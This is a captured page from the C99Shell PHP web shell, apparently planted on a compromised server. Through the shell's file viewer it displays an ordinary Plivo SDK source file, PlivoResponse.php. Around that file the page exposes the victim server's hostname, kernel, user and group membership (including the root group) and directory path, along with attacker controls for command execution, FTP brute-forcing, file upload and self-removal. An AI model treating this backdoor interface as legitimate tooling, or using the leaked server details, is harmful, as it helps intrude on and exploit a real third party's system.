!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/plivo/plivo-php/src/Plivo/Http/   drwxr-xr-x
Free 29.12 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PlivoResponse.php (3.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Plivo\Http;



use 
Plivo\Exceptions\PlivoResponseException;
use 
Plivo\Exceptions\PlivoRestException;


/**
 * Class PlivoResponse
 * @package Plivo\Http
 */
class PlivoResponse
{
    
/**
     * @var int The HTTP status code response from Api
     */
    
protected $statusCode;

    
/**
     * @var array The headers returned from Api.
     */
    
protected $headers;

    
/**
     * @var string The raw body of the response from Api.
     */
    
protected $content;

    
/**
     * @var array The decoded body of the Api response.
     */
    
protected $decodedContent = [];

    
/**
     * @var PlivoRequest The original request that returned this response.
     */
    
protected $request;

    
/**
     * @var PlivoRestException The exception thrown by this request.
     */
    
protected $thrownException;

    
/**
     * Creates a new PlivoResponse entity.
     *
     * @param PlivoRequest    $request The request that created this response
     * @param int|null        $httpStatusCode The status code of the response
     * @param string|null     $content The raw content of the response
     * @param array|null      $headers The headers of the response
     */
    
public function __construct(
        ?
PlivoRequest $request null,
        
$httpStatusCode null,
        
$content null,
        array 
$headers = [])
    {
        
$this->request $request;
        
$this->content $content;
        
$this->statusCode $httpStatusCode;
        
$this->headers $headers;

        
$this->decodeContent();
    }

    
/**
     * Instantiates an exception to be thrown later.
     */
    
public function makeException()
    {
        
// make exception based on the status code
        
$this->thrownException =
            new 
PlivoResponseException(
                
""0null,
                
$this->decodedContent$this->statusCode);

        echo 
$this->thrownException->getMessage();
    }


    
/**
     * Decodes the JSON and then checks if the response is 2xx,
     * accordingly creates an exception
     */
    
public function decodeContent()
    {
        
$this->decodedContent =
            
json_decode($this->contenttrue)?
                :[
"error"=>$this->content];

        if (!
$this->ok()) {
            
$this->makeException();
        }
    }

    
/**
     * Converts the contents of the response to JSON object
     * @return mixed
     */
    
public function getContent()
    {
        return 
$this->decodedContent;
    }

    
/**
     * Returns the status code from the response
     * @return mixed
     */
    
public function getStatusCode()
    {
        return 
$this->statusCode;
    }

    
/**
     * Returns the headers from the response
     * @return mixed
     */
    
public function getHeaders()
    {
        return 
$this->headers;
    }

    
/**
     * Returns the thrown exception for the response
     * @return mixed
     */
    
public function getThrownException()
    {
        return 
$this->thrownException;
    }

    
/**
     * Returns true if api request succeeded.
     *
     * @return boolean
     */
    
public function ok()
    {
        return 
$this->getStatusCode() < 400;
    }

    
/**
     * @return string
     */
    
public function __toString()
    {
        return 
'[PlivoResponse] HTTP ' $this->getStatusCode() . ' ' $this->content;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--